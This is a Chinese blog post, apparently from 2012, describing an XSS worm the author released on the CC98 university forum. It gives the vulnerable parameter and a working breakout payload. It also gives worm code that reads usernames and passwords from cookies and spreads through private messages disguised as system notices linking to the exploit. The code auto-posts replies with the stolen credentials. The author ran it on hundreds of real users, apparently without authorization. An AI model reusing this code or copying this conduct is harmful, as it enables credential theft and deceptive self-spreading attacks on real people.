注:原文发表于2012.12.31,之后在博客地震中消失了,这是从cc98上恢复的版本。
CC98论坛是浙大校内最大的论坛,每日有数万发帖,这个网站是由校内学生团队维护。由于历史原因,采用的是一套有一定历史的论坛系统,并在上面做了很多修改。修改后的系统基本杜绝了SQL注入漏洞,安全性有很大提高,但是也缺乏很多web2.0功能和一些对xss的防范。本文讲述的就是我在12.31日22点左右对其进行的一次XSS蠕虫测试。蠕虫以站短形式传播,会选取被感染发过的主题楼中第一页出现的ID发送站短,并使被感染账户在一个指定的楼里(标题名happy new year~) 进行回复。初始传播约为10人,传播开始后大约半小时感染了数百用户,蠕虫自动回复楼已经攀升到当日十大最热门贴子。然后被管理团队发现,删掉了自动回复楼,并关闭了站短功能(蠕虫传播渠道)。此后樱桃和我进行了沟通,并fix了此xss点。
exploit点是在
1 http://hz.cc98.lifetoy.org/dispbbs.asp?Boardid=/d+&ID=/d+ |
中的ID,ID参数会被直接写入到此页的js函数中:
1 2 function _shortcut(evt) 3 { 4 5 var fileName=”dispbbs.asp”; 6 var star=parseInt(“”); 7 var total_star=parseInt(“”); 8 9 var origin_search=”?BoardID=507&id=290147&page=&replyID=”; 10 11 var evt=evt?evt:window.event; |
可见id被带入了js函数中,通过payload: %22;}alert(/test/);function%20ttt(){// 闭合标签
1 var origin_search=”?BoardID=507&id=290147″;}alert(/test/);function ttt(){//&page=&replyID=”; |
逸出函数域,可执行独立的js代码。完整的exploit就是
http://hz.cc98.lifetoy.org/dispbbs.asp?Boardid=507&ID=290147%22;}alert(/test/);function%20ttt(){//
(对webkit内核浏览器有效,ie无法bypass浏览器filter。已被fix)。
有了exploit,如何做成蠕虫?由于不是存储型xss,首先的问题是如何传播。由于cc98的好友关系薄弱,通过SNS的好友式传播效果可以预期并不好。后来我想到了通过98提供的查看历史发表主题的功能,找出被感染者发过的主题,并选取第一页回复的人进行站内短消息传播。这样可以保证较好的覆盖率。由于浏览器并发能力所限,我限制了选取主题的数目。同时为了更具欺骗性,站短做的非常像系统提示回复的消息,当用户点击链接时就会被感染。
以下就是coding的工作。主要传播代码如下:
1 2 var alluser = new Array(); 3 user = /username=([^&]*)/gi.exec(document.cookie)[1] 4 pass = /password=([^;]*)/gi.exec(document.cookie)[1] 5 xss.ajax(“/mytopic.asp”,function(){ 6 var linkre = /dispbbs.asp?boardID=d+&ID=d+/gi; 7 var userre = /dispuser.asp?name=([^>]*)>/gi; 8 var topictext = this.responseText; 9 var cnt = 0; 10 while( (link = linkre.exec(topictext)) != null) 11 { 12 xss.ajax(link,function(){ 13 while((res = userre.exec(this.responseText)) !== null) 14 { 15 var touser = res[1].trim(); 16 if (!alluser.contains(touser) && touser!==user) { alluser.push(touser); 17 xss.ajax(”/messanger.asp?action=send”,”touser=”+touser+”&font=&title=”+”%E5%9B%9E%E5%A4%8D%E6%8F%90%E7%A4%BA&message=%E6%88%91%E5%9C%A8%5Burl%3Dhttp%3A%2F%2Ftinyurl.com%2Fa6exaj8%5D%5Bcolor%3Dblue%5D%E8%BF%99%E4%B8%AA%E5%B8%96%E5%AD%90%5B%2Fcolor%5D%5B%2Furl%5D%E9%87%8C%E4%B8%AD%E5%9B%9E%E5%A4%8D%E4%BA%86%E4%BD%A0%2C%E5%BF%AB%E6%9D%A5%E7%9C%8B%E7%9C%8B%E5%90%A7~!”,function(){}); 18 } 19 } 20 21 }); 22 cnt = cnt + 1; 23 if(cnt < 7) break; 24 } 25 26 }); 27 28 xss.ajax(“/SaveReAnnounce.asp?method=fastreply&BoardID=211″,”followup=648207441&RootID=4090055&star=1&UserName=”+user+”&passwd=”+pass+”&Expression=face7.gif&Content=happy+new+year~+by+flanker&signflag=yes”,function(){}); 29 setCookie(“hacked”,”1″); |
有些代码略去。这里的”xss”对象是wooyun上的xss.js库,其实只用到了ajax功能,用jquery也可以,具体代码可见https://github.com/flankerhqd/cc98-worm
总之,这次蠕虫的效果还是较好地达到了预期测试目的的。不过由于浙大网络环境太渣,部分用户连短链都无法打开,导致js代码未得到执行…..同时也要赞赏98站务组的反应速度,比人人的管理员快多了,而且采取措施也很果断,直接把站短功能关闭了。。。。